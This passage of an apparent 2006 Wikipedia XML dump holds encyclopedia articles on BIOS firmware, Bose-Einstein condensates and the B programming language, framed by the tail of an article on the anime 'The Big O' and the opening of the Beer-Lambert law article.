* &quot;I saved your lives and this is the thanks I get?&quot; -Roger Smith
* &quot;It's coming... Megadeus.&quot; -Dastun
* &quot;There is but one Truth. If you avert your eyes from it, you will always remain nothing more than a puppet.&quot; -Schwarzwald
* &quot;We have choices. Some people like to stand in the rain without an umbrella. That's what it means to live free.&quot; -Roger Smith

==See also==
*[[Dark City]]
*[[Megadeus]]

==External links==
*[http://www.animenfo.com/animetitle,1083,pnzuky,big_o_roger.html Animenfo.com entry]
*[http://www.sunrise-inc.co.jp/datacard/card0173.htm  Official site (Japanese)]
*[http://www.freewebs.com/seebach/ FAQ Concerning future episodes of &quot;The Big O&quot;]
*[http://www.savebigo.com A campaign to get a Big O Season Three]
*[http://sqn.com/metrop26.html Analysis of ''Metropolis'' for the purpose of comparing to the plot of &quot;Big O&quot;]
*[http://www.paradigm-city.com An English language fan site for ''Big O'' information and fan works.]
*[http://www.imdb.com/title/tt0280240/ The Big O at IMDB]
*[http://www.tv.com/the-big-o/show/32423/summary.html?q=the%20big%20o The Big O at TV.com]

[[Category:Anime series|Big O, The]]
[[Category:Manga series|Big O, The]]
[[Category:Japanese television series|Big O, The]]
[[Category:Shows on Toonami]]
[[Category:Shows on Adult Swim|Big O, The]]
[[Category:Fictional robots|Big O, The]]

[[ja:THE ビッグオー]]</text>
    </revision>
  </page>
  <page>
    <title>BIOS</title>
    <id>4473</id>
    <revision>
      <id>42158210</id>
      <timestamp>2006-03-04T05:08:05Z</timestamp>
      <contributor>
        <username>The tooth</username>
        <id>652482</id>
      </contributor>
      <minor />
      <comment>RV</comment>
      <text xml:space="preserve">{{Otheruses3|Bios}}
[[Image:Phone BIOS.jpg|thumb|BIOS settings on a public Internet [[payphone]]]]
&lt;!-- There is currently much more information in the German wikipedia. Please help translate and add some information from that article. --&gt;

'''BIOS''', in [[computing]], stands for '''Basic Input/Output System''' or '''Basic Integrated Operating System'''.
BIOS refers to the [[Source code|software code]] run by a computer when first powered on. The primary function of BIOS is to prepare the machine so other [[Computer software|software]] programs stored on various media (such as [[hard drive]]s, [[floppy|floppies]], and [[Compact disk|CD]]s) can load, execute, and assume control of the computer. This process is known as
[[booting]] up. 

Bios can also be said to be a coded program embedded on a chip that recognises and controls various devices that make up the computer.

The term BIOS is specific to [[personal computer]] vendors. Among other classes of computers, the generic terms  ''boot monitor'', ''boot loader'' or ''boot ROM'' are commonly used. 

While the name BIOS is an [[acronym]], it may also be a play on the [[Greek language|Greek]] word βιος (bios) ''life''. The term first appeared in the [[CP/M]] operating system, describing the part of CP/M loaded during [[boot time]] that interfaced directly with the [[hardware]] (CP/M machines usually had a simple boot loader in [[Read-only memory|ROM]], and nothing else). Most versions of [[DOS]] have a file called &quot;[[IBMBIO.COM]]&quot; or &quot;[[IO.SYS]]&quot; that is analogous to the CP/M disk BIOS.  

==How the BIOS Boots == 
The BIOS runs off the onboard [[PROM]], [[EPROM]] or, most commonly, [[flash memory]] when the computer is powered on and it initializes and sometimes performs diagnostic tests on the hard drive, memory, video, chipset and other hardware. Subsequently, it typically decompresses itself from the BIOS memory space into the system main memory and starts executing from there. Nearly all BIOS implementations can optionally execute a setup program interfacing the [[nonvolatile BIOS memory|nonvolatile BIOS memory (CMOS)]]. This memory holds user-customizable configuration data (time, date, [[hard drive]] details, etc.) accessed by BIOS code.  The [[80x86]] source code for early PC and AT BIOS was included with the [[IBM Technical Reference Manual]].

In most modern BIOS implementations, users select which device boots first: [[Compact Disc|CD]], [[hard disk]], [[floppy disk]], [[keydrive|flash keydrive]], and the like. This is particularly useful for installing [[operating system]]s or booting to [[LiveCD]]s, and for selecting the order of testing for the presence of bootable media.

Some BIOSes allow the user to select the operating system to load (e.g. load another OS from the second hard disk), though this is more often handled by a second-stage [[boot loader]].

==BIOS as firmware==
[[Image:Phoenix bios.jpg|thumb|150px|ROM with BIOS]]
BIOS is sometimes called [[firmware]] because it is an integral part of the system hardware. Before 1990 or so BIOSes were held on [[Read-only memory|ROM]] chips that could not be altered. As their complexity and the need for updates grew, BIOS firmware was stored on [[EEPROM]] or [[flash memory]] devices that can be easily upgraded by the user. However, an improperly executed or aborted BIOS update can render the computer or device unusable. To avoid BIOS corruption, some new [[motherboard]]s have a backup BIOS (&quot;Dual BIOS&quot; boards). Also, most BIOSes have a &quot;boot block&quot; which is a portion of the ROM that runs first and is not updateable. This code will verify that the rest of the BIOS is intact (via checksum, hash, etc.) before jumping to it. If the boot block detects that the main BIOS is corrupt, then it will typically boot to a floppy so that the user can try [[flashing]] again, hopefully with a better image. Hardware manufacturers frequently issue BIOS updates to upgrade their products and remove [[Computer bug|bugs]].

== Firmware on adapter cards ==
A computer system can contain several BIOS firmware chips.  The motherboard BIOS typically contains code to access fundamental hardware components such as the keyboard, [[floppy drive]]s, ATA (IDE) hard disk controllers, and [[Universal Serial Bus|USB]] human interfaces, and storage devices.  In addition, plug-in adapter cards such as [[SCSI]], [[Redundant array of independent disks|RAID]], [[Network interface card]]s, and video boards often include their own BIOS, complementing or replacing the system BIOS code for the given component.

In some cases, where devices which may also be used by add-in adapters, and actually directly integrated on the motherboard, the add-in ROM may also be stored as separate code on the main BIOS flash chip.  It may then be possible to upgrade this &quot;add-in&quot; BIOS (sometimes called an &quot;option ROM&quot;) separately from the main BIOS code.

Add-in cards usually only require such an add-in BIOS if they:

* Need to be used prior to the time that the operating system (e.g. they may be used as part of the process which loads ([[Bootstrapping|bootstraps]]) the operating system, and:
* Are not sufficiently simple, or generic in operation to be handled by the main BIOS directly

Older [[operating system]]s such as [[DOS]], as well as bootloaders, may continue to make use of the BIOS to handle input and output. However, most modern [[operating system]]s will interact with hardware devices directly by using their own [[device driver]]s to directly access the hardware.  Occasionally these add-in BIOSes are still called by modern operating systems, in order to carry out specific tasks such as preliminary device initialisation.

To find these memory mapped expansion ROMs during boot, PC BIOS implementations scan real memory from 0xC8000 to 0xF0000 on 2 kilobyte boundaries looking for a 0x55 0xaa signature, which is immediately followed by a byte indicating the number of 512 byte blocks the expansion ROM occupies in real memory. The BIOS then jumps to the offset immediately after the size byte, at which point the expansion ROM code takes over and uses BIOS services to provide a user configuration interface, register interrupt vectors for use by post-boot applications, or display diagnostic information.

For UNIX and Windows/DOS systems there is a utility with which you can dump your BIOS firmware software at http://www.linuks.mine.nu/ree/

== The BIOS boot specification ==
If the expansion ROM wishes to change the way the system boots (such as from a network device or a SCSI adapter for which the BIOS has no driver code), it can use the BIOS Boot Specification (BBS) API to register its ability to do so. Once the expansion ROMs have registered using the BBS APIs, the user can select among the available boot options from within the BIOS's user interface. This is why most BBS compliant PC BIOS implementations will not allow the user to enter the BIOS's user interface until the expansion ROMs have finished executing and registering themselves with the BBS API...

== The Fall and Rise of the BIOS ==
Older operating systems such as [[DOS]] called on the BIOS to carry out most input-output tasks within the PC, with the introduction of newer operating systems such as Microsoft Windows and Linux, the BIOS was relegated to principally providing initial hardware setup, and [[bootstrapping]].  Once it was up and running, the operating system didn't have to rely on the BIOS for much.

In recent years, however by way of systems such as [[ACPI]], the BIOS has taken on more complex functions such as aspects of power management, hotplug, thermal management etc.  This has led to renewed reliance on the BIOS by operating system producers, and an increase in complexity in the BIOS code.

== The BIOS Business ==
The vast majority of PC motherboard suppliers license a BIOS &quot;core&quot;, and toolkit from a commercial third party, which creates and maintains such a core.  The motherboard manufacturer then customises this BIOS to suit their own hardware - for this reason updated BIOSes are normally obtained directly from the motherboard manufacturer.

== List of BIOS suppliers: ==
* [[American Megatrends Incorporated|American Megatrends Inc.]]
* [[Phoenix Technologies]]
* [[Award Software International]] (merged with Phoenix in 1998)
* [[MicroID Research]] (MRBIOS)
* [[Insyde Software]] (Insyde)
* [[General Software]] (General Software)

==See also==
* [[Extensible Firmware Interface]] (EFI)
* [[LinuxBIOS]], a [[free software]] project aimed at replacing the normal BIOS
* [[Open Firmware]]
* [[Input/Output Base Address]]
* [[Advanced Configuration and Power Interface]]
* [[machine code]]
* [[microchip]]
* [[Booting#BIOS boot devices|BIOS boot devices]]
* [[BIOS Interrupt Calls]]
* [[Network interface|Interface]]
* [[Power-On Self Test]] (POST)

==External links==
* [http://www.openbios.org/ OpenBIOS homepage]
* [http://linuxbios.org/ LinuxBIOS homepage]
* [http://www.rojakpot.com/bog.aspx Adrian's Rojak Pot's The Definitive BIOS Optimization Guide]
* [http://www.rojakpot.com/showarticle.aspx?artno=93 Motherboard BIOS Flashing Guide]
* [http://www.rojakpot.com/showarticle.aspx?artno=62 BIOS Hot Flashing Guide]
* [http://www.bios-info.de/ BIOS-Kompendium Homepage == BIOS-Info, BIOS-Forum, Selling/programming: (E)EPROMs &amp; FLASH-EEPROMs (&quot;BIOS Chips&quot;)]
* [http://www.biosflash.com Biosflash homepage - BIOS Chips Sale + Programming]
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[[Category:BIOS|BIOS]]
[[Category:Boot loader]]
[[Category:Technology neologisms]]

[[ar:بيوس]]
[[bs:BIOS]]
[[cs:BIOS]]
[[da:BIOS]]
[[de:Basic Input Output System]]
[[es:BIOS]]
[[fi:BIOS]]
[[fr:Basic Input Output System]]
[[gl:BIOS]]
[[he:BIOS]]
[[hr:BIOS]]
[[hu:BIOS]]
[[it:BIOS]]
[[ja:Basic Input/Output System]]
[[ko:바이오스]]
[[ku:BIOS]]
[[lt:BIOS]]
[[nl:BIOS]]
[[no:BIOS]]
[[pl:BIOS]]
[[pt:BIOS]]
[[ru:BIOS]]
[[sk:BIOS]]
[[sl:BIOS]]
[[sv:BIOS]]
[[uk:Основна система вводу-виводу]]
[[vi:BIOS]]
[[zh:BIOS]]</text>
    </revision>
  </page>
  <page>
    <title>Bose-Einstein condensate</title>
    <id>4474</id>
    <revision>
      <id>42118047</id>
      <timestamp>2006-03-03T23:06:54Z</timestamp>
      <contributor>
        <ip>131.230.66.114</ip>
      </contributor>
      <comment>A comma.</comment>
      <text xml:space="preserve">A '''Bose-Einstein condensate''' is a [[phase (matter)|phase]] of [[matter]] formed by [[bosons]] cooled to [[temperature]]s very near to [[absolute zero]]. The first such condensate was produced by [[Eric Allin Cornell|Eric Cornell]] and [[Carl Wieman]] in [[1995]] at the [[University of Colorado at Boulder]], using a gas of [[rubidium]] atoms cooled to 170 [[Kelvin|nanokelvins]] (nK). Under such conditions, a large fraction of the atoms collapse into the lowest [[quantum state]], at which point quantum effects become apparent on a macroscopic scale.

[[Image:Bose_Einstein_condensate.png|right|thumb|350px|Velocity-distribution data confirming the discovery of a new phase of matter, the Bose-Einstein condensate, out of a gas of rubidium atoms. The artificial colors indicate the number of atoms at each velocity, with red being the fewest and white being the most. The areas appearing white and light blue are at the lowest velocities. Left: just before the appearance of the Bose-Einstein condensate. Center: just after the appearance of the condensate. Right: after further evaporation, leaving a sample of nearly pure condensate. The peak is not infinitely narrow because of the [[uncertainty principle|Heisenberg uncertainty principle]]: since the atoms are trapped in a particular region of space, their velocity distribution necessarily possesses a certain minimum width.]]

==Introduction==

Bose-Einstein condensates are best known to laypersons as extremely low temperature fluids with so far not completely understood properties, such as spontaneously flowing out of their container. The effect is the consequence of [[quantum mechanics]], which states that systems can only acquire energy in discrete steps. Now, if a system is at such a low temperature that it is in the lowest energy state, it is no longer possible for it to reduce its energy, not even by friction. Therefore, without friction, the fluid will easily overcome gravity because of [[adhesion]] between the fluid and the container wall, and it will take up the most favorable position, i.e. all around the container.

==Theory==
The collapse of the atoms into a single quantum state is known as '''Bose condensation''' or '''Bose-Einstein condensation'''. This phenomenon was predicted in the [[1920s]] by [[Satyendra Nath Bose]] and [[Albert Einstein]], based on Bose's work on the [[statistical mechanics]] of [[photon]]s, which was then formalized and generalized by Einstein. The result of the efforts of Bose and Einstein is the concept of a [[Bose gas]], governed by the [[Bose-Einstein statistics]], which describes the statistical distribution of [[identical particles]] with [[integer]] [[spin (physics)|spin]], now known as [[bosons]]. Bosonic particles, which include the photon as well as atoms such as [[helium|helium-4]], are allowed to share [[quantum states]] with each other. Einstein speculated that cooling bosonic atoms to a very low temperature would cause them to fall (or &quot;condense&quot;) into the lowest accessible quantum state, resulting in a new form of matter.

This transition occurs below a critical temperature, which for a uniform three-dimensional gas consisting of non-interacting particles with no apparent internal degrees of freedom is given by:

:&lt;math&gt;T_c=\left(\frac{n}{\zeta(3/2)}\right)^{2/3}\frac{h^2}{2\pi m k_B}&lt;/math&gt;

where:

&lt;dl&gt;&lt;dd&gt;
{|cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;
|-
| &lt;math&gt;T_c&lt;/math&gt;
| &amp;nbsp;is&amp;nbsp; 
| the critical temperature,
|-
| &lt;math&gt;n&lt;/math&gt;
|
| the particle density,
|-
| &lt;math&gt;m&lt;/math&gt;
|
| the mass per boson,
|-
| &lt;math&gt;h&lt;/math&gt;
|
| [[Planck's constant]],
|-
| &lt;math&gt;k_B&lt;/math&gt;
|
| the [[Boltzmann constant]], and
|-
| &lt;math&gt;\zeta&lt;/math&gt;
|
| the [[Riemann zeta function]]; &lt;math&gt;\zeta(3/2)&lt;/math&gt;&amp;nbsp;&amp;asymp;&amp;nbsp;2.6124.
|}
&lt;/dd&gt;&lt;/dl&gt;

==Discovery==
In [[1938]], [[Pyotr Leonidovich Kapitsa|Pyotr Kapitsa]], [[John F. Allen|John Allen]] and [[Don Misener]] discovered that [[Helium|helium-4]] became a new kind of fluid, now known as a [[superfluid]], at temperatures below 2.17 kelvins (K) (lambda point). Superfluid helium has many unusual properties, including zero [[viscosity]] (the ability to flow without dissipating energy) and the existence of quantized [[vortex|vortices]]. It was quickly realized that the superfluidity was due to Bose-Einstein condensation of the helium-4 atoms, which are bosons. In fact, many of the properties of superfluid helium also appear in the gaseous Bose-Einstein condensates created by Cornell, Wieman and Ketterle (see below). However, superfluid helium-4 is not commonly referred to as a &quot;Bose-Einstein condensate&quot; because it is a liquid rather than a gas, which means that the interactions between the atoms are relatively strong. The original theory of Bose-Einstein condensation must be heavily modified in order to describe it.
 
The first &quot;true&quot; Bose-Einstein condensate was created by Cornell, Wieman, and co-workers at [[Joint Institute for Laboratory Astrophysics|JILA]] on [[June 5]], [[1995]]. They did this by cooling a dilute vapor consisting of approximately 2000 [[rubidium|rubidium-87]] atoms to below 170 nK using a combination of [[laser cooling]] (a technique that won its inventors [[Steven Chu]], [[Claude Cohen-Tannoudji]], and [[William D. Phillips]] the [[1997]] [[Nobel Prize in Physics]]) and [[magnetic evaporative cooling]]. About four months later, an independent effort led by [[Wolfgang Ketterle]] at [[Massachusetts Institute of Technology|MIT]] created a condensate made of [[sodium|sodium-23]]. Ketterle's condensate had about a hundred times more atoms, allowing him to obtain several important results such as the observation of [[quantum mechanics|quantum mechanical]] [[interference]] between two different condensates. Cornell, Wieman and Ketterle won the [[2001]] Nobel Prize for their achievement.

The Bose-Einstein condensation also applies to [[quasiparticle]]s in solids.  A [[magnon]] in an antiferromagnet carries spin 1 and thus obeys the Bose-Einstein statistics.  The density of magnons is controlled by an external magnetic field, which plays the role of the magnon [[chemical potential]].  This technique provides access to a wide range of boson densities from the limit of a dilute Bose gas to that of a strongly interacting Bose liquid.  A magnetic ordering observed at the point of condensation is the analog of superfluidity.  In [[1999]] Bose condensation of magnons was demonstrated in the antiferromagnet TlCuCl3 by Oosawa et al.  The condensation was observed at temperatures as large as 14 K.  Such a high transition temperature (relative to that of atomic gases) is due to a greater density achievable with magnons and a smaller mass (roughly equal to the mass of an electron).

==Unusual characteristics==   
Further experimentation by the JILA team in 2000 uncovered a hitherto unknown property of Bose-Einstein condensate.  Cornell, Wieman, and their coworkers originally used rubidium-87, an isotope whose atoms naturally repel each other making a more stable condensate.  The JILA team instrumentation now had better control over the condensate so experimentation was made on naturally ''attracting'' atoms of another rubidium isotope, rubidium-85 (having negative atom-atom scattering length). Through a process called [[Feshbach resonance]] involving a sweep of the magnetic field causing spin flip collisions, the JILA researchers lowered the characteristic, discrete energies at which the rubidium atoms bond into molecules making their Rb-85 atoms repulsive and creating a stable condensate. The reversible flip from attraction to repulsion stems from quantum interference among condensate atoms which behave as waves.   
    
When the scientists raised the magnetic field strength still further, the condensate suddenly reverted back to attraction, imploded and shrank beyond detection, and then exploded, blowing off about two-thirds of its 10,000 or so atoms. About half of the atoms in the condensate seem to have disappeared from the experiment altogether and are unaccounted for and are not seen either in the cold remnant or the expanding gas cloud. Carl Wieman explained that under current atomic theory this characteristic of Bose-Einstein condensate could not be explained because the energy state of an atom near absolute zero should not be enough to cause an implosion, however, subsequent mean-field theories have been proposed to explain it.    
    
Due to the fact that supernovae explosions are implosions, the explosion of collapsing Bose-Einstein condensate was christened a &quot;[[bosenova]].&quot;

==Current research==

Compared to more commonly-encountered states of matter, Bose-Einstein condensates are extremely fragile. The slightest interaction with the outside world can be enough to warm them past the condensation threshold, forming a normal gas and losing their interesting properties. It is likely to be some time before any practical applications are developed.

Nevertheless, they have proved to be useful in exploring a wide range of questions in fundamental physics, and the years since the initial discoveries by the JILA and MIT groups have seen an explosion in experimental and theoretical activity. Examples include experiments that have demonstrated [[interference]] between condensates due to [[wave-particle duality]] [http://cua.mit.edu/ketterle_group/Projects_1997/Interference/Interference_BEC.htm], the study of [[superfluidity]] and quantized [[vortex|vortices]] [http://www.aip.org/pt/vol-53/iss-8/p19.html], and the [[speed of light|slowing of light]] pulses to very low speeds using [[electromagnetically induced transparency]] [http://www.europhysicsnews.com/full/26/article1/article1.html]. Experimentalists have also realized &quot;optical lattices&quot;, where the interference pattern from overlapping lasers provides a periodic potential for the condensate. These have been used to explore the transition between a superfluid and a [[Mott insulator]] [http://qpt.physics.harvard.edu/qptsi.html], and may be useful in studying Bose-Einstein condensation in less than three dimensions, for example the [[Tonks-Girardeau gas]].   

Bose-Einstein condensates composed of a wide range of [[isotope|isotopes]] have been produced [http://physicsweb.org/articles/world/18/6/1]. 

Related experiments in cooling [[fermions]] rather than [[bosons]] to extremely low temperatures have created [[degenerate matter|degenerate]] gases, where the atoms do not congregate in a single state due to the [[Pauli exclusion principle]]. To exhibit Bose-Einstein condensate, the fermions must &quot;pair up&quot; to form compound particles (e.g. [[molecules]] or [[BCS theory|Cooper pairs]]) that are bosons. The first [[molecule|molecular]] Bose-Einstein condensates were created in November [[2003]] by the groups of [[Rudolf Grimm]] at the [[University of Innsbruck]], [[Deborah S. Jin]] at the [[University of Colorado at Boulder]] and [[Wolfgang Ketterle]] at [[Massachusetts Institute of Technology|MIT]]. Jin quickly went on to create the first [[Fermionic condensate|fermionic condensate]] composed of Cooper pairs [http://physicsweb.org/articles/news/8/1/14/1].

== See also ==

* [[Bose gas]]
* [[Electromagnetically induced transparency]]
* [[Fermionic condensate]]
* [[Gas in a box]]
* [[Slow glass]]
* [[Superfluid]]
* [[Supersolid]]
* [[Super-heavy atom]]
* [[Tonks-Girardeau gas]]

== External links ==
* [http://www.colorado.edu/physics/2000/bec/index.html BEC Homepage] General introduction to Bose-Einstein condensation
* [http://nobelprize.org/physics/laureates/2001/index.html Nobel Prize in Physics 2001] - for the achievement of Bose-Einstein condensation in dilute gases of alkali atoms, and for early fundamental studies of the properties of the condensates
* [http://www.physicstoday.org/pt/vol-54/iss-12/p14.html Physics Today: Cornell, Ketterle, and Wieman Share Nobel Prize for Bose-Einstein Condensates]
* [http://jilawww.colorado.edu/bec/ Bose-Einstein Condensates at JILA]
* [http://www.bec.phys.uu.nl/ The Bose-Einstein Condensate at Utrecht University, the Netherlands]
* [http://cua.mit.edu/ketterle_group/home.htm Alkali Quantum Gases at MIT]
* [http://www.physics.uq.edu.au/atomoptics/ Atom Optics at UQ]
* [http://www.lorentz.leidenuniv.nl/history/Einstein_archive/ Einstein's manuscript on the Bose-Einstein condensate discovered at Leiden University]
* [http://physicsweb.org/articles/world/18/6/8/1 The revolution that has not stopped] PhysicsWeb article from June 2005

== References ==
* S. N. Bose, Z. Phys. 26, 178 (1924)
* A. Einstein, Sitz. Ber. Preuss. Akad. Wiss. (Berlin) 22, 261 (1924)
* L.D. Landau, J. Phys. USSR 5, 71 (1941)
* {{cite journal | author=L. Landau | title=Theory of the Superfluidity of Helium II | journal=Physical Review | year=1941 | volume=60 | pages=356-358 | url= }}
* {{cite journal | author=M.H. Anderson, J.R. Ensher, M.R. Matthews, C.E. Wieman, and E.A. Cornell | title=Observation of Bose-Einstein Condensation in a Dilute Atomic Vapor | journal=Science | year=1995 | volume=269 | pages=198-201 | url=http://links.jstor.org/sici?sici=0036-8075%2819950714%293%3A269%3A5221%3C198%3AOOBCIA%3E2.0.CO%3B2-G }}
* {{cite journal | author=K.B. Davis, M.-O. Mewes, M.R. Andrews, N.J. van Druten, D.S. Durfee, D.M. Kurn, and W. Ketterle | title=Bose-Einstein condensation in a gas of sodium atoms | journal=Physical Review Letters | year=1995 | volume=75 | pages=3969-3973 | url=}}.
* {{cite journal | author=D. S. Jin, J. R. Ensher, M. R. Matthews, C. E. Wieman, and E. A. Cornell | title=Collective Excitations of a Bose-Einstein Condensate in a Dilute Gas | journal=Physical Review Letters | year=1996 | volume=77 | pages=420-423 | url= }}
* {{cite journal | author=M. R. Andrews, C. G. Townsend, H.-J. Miesner, D. S. Durfee, D. M. Kurn, and W. Ketterle | title= Observation of interference between two Bose condensates | journal=Science | year=1997 | volume=275 | pages=637-641 | url= }}.
* {{cite journal | author=M. R. Matthews, B. P. Anderson, P. C. Haljan, D. S. Hall, C. E. Wieman, and E. A. Cornell | title=Vortices in a Bose-Einstein Condensate | journal=Physical Review Letters | year=1999 | volume=83 | pages=2498-2501 | url= }}
* {{cite journal | author=E.A. Donley, N.R. Claussen, S.L. Cornish, J.L. Roberts, E.A. Cornell, and C.E. Wieman | title=Dynamics of collapsing and exploding Bose-Einstein condensates | journal=Nature | year=2001 | volume=412 | pages=295-299 | url=}}
* {{cite journal | author=M. Greiner, O. Mandel, T. Esslinger, T. W. Hänsch, I. Bloch | title=Quantum phase transition from a superfluid to a Mott insulator in a gas of ultracold atoms| journal=Nature | year=2002 | volume=415 | pages=39-44}}.
* {{cite journal | author=S. Jochim, M. Bartenstein, A. Altmeyer, G. Hendl, S. Riedl, C. Chin, J. Hecker Denschlag, and R. Grimm | title=Bose-Einstein Condensation of Molecules | journal=Science | year=2003 | volume=302 | pages=2101-2103 | url= }}
* {{cite journal | author=Markus Greiner, Cindy A. Regal and Deborah S. Jin | title=Emergence of a molecular Bose−Einstein condensate from a Fermi gas | journal=Nature | year=2003 | volume=426 | pages=537-540 | url= }}
* {{cite journal | author=M. W. Zwierlein, C. A. Stan, C. H. Schunck, S. M. F. Raupach, S. Gupta, Z. Hadzibabic, and W. Ketterle | title=Observation of Bose-Einstein Condensation of Molecules | journal=Physical Review Letters | year=2003 | volume=91 | pages=250401 | url= }}
* {{cite journal | author=C. A. Regal, M. Greiner, and D. S. Jin | title=Observation of Resonance Condensation of Fermionic Atom Pairs | journal=Physical Review Letters | year=2004 | volume=92 | pages=040403}}
* C. J. Pethick and H. Smith, &quot;Bose-Einstein Condensation in Dilute Gases&quot;, Cambridge University Press, Cambridge, 2001.
* Lev P. Pitaevskii and S. Stringari, &quot;Bose-Einstein Condensation&quot;, Clarendon Press, Oxford, 2003.
* Mackie M, Suominen KA, Javanainen J., &quot;Mean-field theory of Feshbach-resonant interactions in 85Rb condensates.&quot; Phys Rev Lett. 2002 Oct 28;89(18):180403.
* Oxford Experimental BEC Group. http://www-matterwave.physics.ox.ac.uk/bec/bec.html
* {{cite journal | author=T. Nikuni, M. Oshikawa, A. Oosawa, and H. Tanaka, | title=Bose-Einstein Condensation of Dilute Magnons in TlCuCl3| journal = Physical Review Letters | volume=84 | pages=5868 | year=1999 | url=http://dx.doi.org/10.1103/PhysRevLett.84.5868}}

{{Template:Phase_of_matter}}



[[Category:Albert Einstein]] 
[[Category:Quantum mechanics]] 
[[Category:Condensed matter physics]]

[[da:Bose-Einstein kondensat]]
[[de:Bose-Einstein-Kondensat]]
[[es:Condensado de Bose-Einstein]]
[[fr:Condensat de Bose-Einstein]]
[[ko:보즈-아인슈타인 응축]]
[[id:Kondensat Bose-Einstein]]
[[it:Condensato di Bose - Einstein]]
[[he:עיבוי בוז-איינשטיין]]
[[nl:Bose-Einsteincondensaat]]
[[ja:ボース＝アインシュタイン凝縮]]
[[pl:Kondensat Bosego-Einsteina]]
[[sv:Bose-Einstein-kondensat]]
[[zh:玻色-爱因斯坦凝聚]]</text>
    </revision>
  </page>
  <page>
    <title>B programming language</title>
    <id>4475</id>
    <revision>
      <id>39214710</id>
      <timestamp>2006-02-11T15:43:44Z</timestamp>
      <contributor>
        <username>Val42</username>
        <id>18242</id>
      </contributor>
      <comment>Made first paragraph an introduction section.</comment>
      <text xml:space="preserve">'''B''' was the name of a programming language developed at [[Bell Labs]]. It is almost extinct, as it was replaced by the [[C programming language|C language]].
It was mostly the work of [[Ken Thompson]] with contributions from [[Dennis Ritchie]], and first appeared in [[1969]] or thereabouts.

==History==

'''B''' was essentially the [[BCPL]] system stripped of any component that Thompson felt he could do without, in order to make it fit within the memory capacity of the minicomputers of the time. The language also included some changes made to suit Thompson's preferences (mostly along the lines of reducing the number of non-whitespace characters in a typical program).

Like BCPL and [[Forth programming language|FORTH]], B had only one datatype, the computer word. Most operators treated this as an integer (i.e, +, -, *, /) but others treated it as a memory address to be dereferenced. In most other ways it looked a lot like an early version of C. A few library functions existed, including some that vaguely resemble functions from the standard IO library in C.

Early implementations were for the [[Digital Equipment Corporation|DEC]] [[PDP-7]] and [[PDP-11]] minicomputers using early [[Unix]], and [[Honeywell]] 36 bit mainframes running the operating system, [[GCOS]]. The earliest PDP-7 implementations compiled to [[threaded code]], then Ritchie wrote a compiler which produced machine code. In 1970 a [[PDP-11]] was acquired and threaded code was used for the port. The first version of [[yacc]] was produced with this PDP-11 configuration. Ritchie took over maintenance during this period.

The typeless nature of B made sense on the Honeywell, PDP-7 and many older computers, but was a problem on the PDP-11 because it was difficult to elegantly access the character data type that the PDP-11 and most modern computers fully support. Starting in 1971 Ritchie made changes to the language while converting its compiler to produce machine code, most notably adding data typing for variables. During 1971 and 1972 B evolved into &quot;New B&quot; and then C, with the [[preprocessor]] being added in 1972 and early 1973 at the urging of Alan Snyder. The effort was sufficiently complete that during the summer of 1973 the Unix kernel for the PDP-11 was rewritten in C. During the 1972-73 period there was a need to port to Honeywell 635 and IBM 360/370 machines, so Lesk wrote the &quot;portable I/O package&quot; which would become the C &quot;standard I/O&quot; routines.

B continued to see use as late as the 1990s on Honeywell mainframes, and on certain [[embedded systems]] for a variety of reasons, including limited hardware in the small systems; extensive libraries, tools, licensing cost issues; and simply being good enough for the job on others. The highly influential [[AberMUD]] was written in B.

B was greatly influenced by BCPL, and its name is most likely to be a contraction of BCPL.  However it is possible that its name may be based on [[Bon_programming_language|Bon]], an earlier but unrelated, and rather different, programming language which Thompson designed for use on [[Multics]].

==Example==
The following example is from the ''Users' Reference to B'' by Ken Thompson:
&lt;pre&gt;
/* The following function will print a non-negative number, n, to
  the base b, where 2&lt;=b&lt;=10,  This routine uses the fact that
  in the ANSCII character set, the digits O to 9 have sequential
  code values.  */

printn(n,b) {
        extrn putchar;
        auto a;

        if(a=n/b) /* assignment, not test for equality */
                printn(a, b); /* recursive */
        putchar(n%b + '0');
}
&lt;/pre&gt;

==External links==

* ''[http://cm.bell-labs.com/cm/cs/who/dmr/chist.html The Development of the C Language]'', [[Dennis Ritchie|Dennis M. Ritchie]]. Puts B in the context of [[BCPL]] and [[C programming language|C]].
* ''[http://cm.bell-labs.com/cm/cs/who/dmr/kbman.html Users' Reference to B]'', Ken Thompson. Describes the [[PDP-11]] version.
* ''[http://cm.bell-labs.com/cm/cs/who/dmr/bintro.html The Programming Language B]'', S. C. Johnson &amp; B. W. Kernighan, Technical Report CS TR 8, [[Bell Labs]] (January 1973). The [[GCOS]] version on [[Honeywell]] equipment.

==See also==

* The [[B-Method]], a [[formal method]] with its own [[Abstract Machine Notation]] (AMN), not to be confused with the B programming language.

Another language, also called '''B''', was a simple interactive programming language by Lambert Meertens and Steven Pemberton. This B was the predecessor of [[ABC programming language|ABC]].
: ''[ftp://ftp.uni-kl.de/pub/languages/B.tar.Z Draft Proposal for the B Programming Language]'', [[Lambert Meertens]], [[National_Research_Institute_for_Mathematics_and_Computer_Science|CWI]], Amsterdam, 1981. (No longer available as of [[30 December]] [[2004]].)

[[Category:Historical programming languages]]

[[de:B (Programmiersprache)]]
[[es:Lenguaje de programación B]]
[[fr:B (langage)]]
[[it:B (linguaggio)]]
[[nl:B (programmeertaal)]]
[[ja:B言語]]
[[pl:B (język programowania)]]
[[pt:Linguagem de programação B]]
[[sl:Programski jezik B]]
[[zh:B語言]]</text>
    </revision>
  </page>
  <page>
    <title>Beer-Lambert law</title>
    <id>4476</id>
    <revision>
      <id>40692168</id>
      <timestamp>2006-02-22T09:40:23Z</timestamp>
      <contributor>
        <username>Antikon</username>
        <id>256261</id>
      </contributor>
      <minor />
      <comment>+interwiki</comment>
      <text xml:space="preserve">In [[optics]], the '''Beer-Lambert law''', also known as '''Beer's law''' or the '''Beer-Lambert-Bouguer law''' is an [[empirical relationship]] that relates the [[Absorption (optics)|absorption]] of [[light]] to the properties of the material through which the light is travelling.

==Equations==
[[Image:Beer lambert.png|thumb|300px|Diagram of Beer-Lambert absorption of a beam of light as it travels through a [[cuvette]] of size ''l''.]]

There are several ways in which the law can be expressed:

:&lt;math&gt;\begin{matrix}A=\alpha lc\end{matrix}&lt;/math&gt; 

:&lt;math&gt; {I_{1}\over I_{0}} = e^{-\alpha l c}&lt;/math&gt; 

:&lt;math&gt; A = -\log\frac{I_1}{I_0}&lt;/math&gt;

:&lt;math&gt; \alpha = \frac{4 \pi k}{\lambda}&lt;/math&gt; 
Here:
*A is [[absorbance]]
*''I''&lt;sub&gt;0&lt;/sub&gt; is the [[intensity]] of the incident light 
